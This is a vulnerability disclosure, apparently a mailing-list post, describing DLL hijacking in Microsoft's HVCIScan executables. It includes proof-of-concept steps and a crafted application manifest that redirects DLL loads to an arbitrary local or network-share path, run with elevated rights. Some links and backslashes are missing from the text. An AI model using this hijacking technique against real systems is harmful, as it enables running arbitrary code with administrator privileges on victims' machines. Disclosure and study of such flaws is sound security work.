Authored by Stefan Kanthak

Microsoft’s HVCIScan binary suffers from a dll hijacking vulnerability.

Hi @ll,

about a month ago Microsoft published HVCIScan-{amd,arm}64.exe, a
"Tool to check devices for compatibility with memory integrity (HVCI)"

The "Install instructions" on the download page
<> tell:

| Download the hvciscan.exe for your system architecture (AMD64 or ARM64).
| From an elevated command window or PowerShell, run hvciscan.exe

"ELEVATED" sounds good, especially when such a vulnerable tool is run
from the "Downloads" folder, where a file HVCIScan_amd64.exe.manifest,
HVCIScan_arm64.exe.manifest or VBSAPI.dll can be placed via "drive-by"
download or by the (unsuspecting) unelevated user who still abuses the
"protected administrator" account created during Windows setup.

Oops, one step back: how did I determine
a) that HVCIScan-*.exe is vulnerable
b) these filenames?

Open an UNELEVATED command window and run
then inspect the output.

| Dump of file HVCIScan_amd64.exe
| Image has the following dependencies:
| KERNEL32.dll
| msvcrt.dll
| VbsApi.dll
| Section contains the following load config:
| 0000 Dependend load flags
| Summary
| 1000 .data
| 1000 .pdata
| 2000 .rdata
| 1000 .reloc
| 1000 .text

OUCH: the guys at M$FT built these tools without embedded "application
manifest" (which would have been placed in a ".rsrc" section),
so Windows will apply an external "application manifest", and
without /DEPENDENTLOADFLAG:2048, so Windows will search dependent
DLLs not listed as "Known DLL" in the "application directory"

Both omissions^WBEGINNER'S MISTAKES allow to load and execute ARBITRARY
DLLs from ARBITRARY paths that run with the (ELEVATED) credentials of
the application!

"Trustworthy Computing" anyone? Or "Security Development Lifecycle"?

Proof of concept #1:

a) Open an UNELEVATED command window in the directory where you saved
HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe

b) Create an empty file VbsApi.dll next to the executable:

COPY NUL: VbsApi.dll

c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
message that VbsApi.dll can't be loaded.

Building a VbsApi.dll with the exports required by HVCIScan-a??64.exe
to actually load and execute VbsApi.dll is left as an exercise to the

See <> if you
need help.

Proof of concept #2:

a) Create the text file HVCISCAN_amd64.exe.manifest respectively
HVCISCAN_arm64.exe.manifest with the following content next to
HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe:

--- HVCISCAN_a??64.exe.manifest ---
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<file loadFrom="SERVERSHAREarbitrary.dll" name="KERNEL32.dll" />
<file loadFrom="SERVERSHAREarbitrary.dll" name="msvcrt.dll" />
<file loadFrom="SERVERSHAREarbitrary.dll" name="VbsApi.dll" />
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
--- EOF ---

Replace the UNC path SERVERSHAREarbitrary.dll with any local or
remote path where you can create the specified file.

NOTE: the section "trustInfo" is optional.

NOTE: KERNEL32.dll and MSVCRT.dll are "Known DLLs".

b) Create an empty file arbitrary.dll in the specified network share or
local directory:


c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
message that a required DLL or an entry point is not found.

Building SERVERSHAREarbitrary.dll with the exports required by
HVCIScan-a??64.exe to actually load and execute arbitrary.dll is left
as an exercise to the reader.

stay tuned, and far away from "tools" made in Redmond
Stefan Kanthak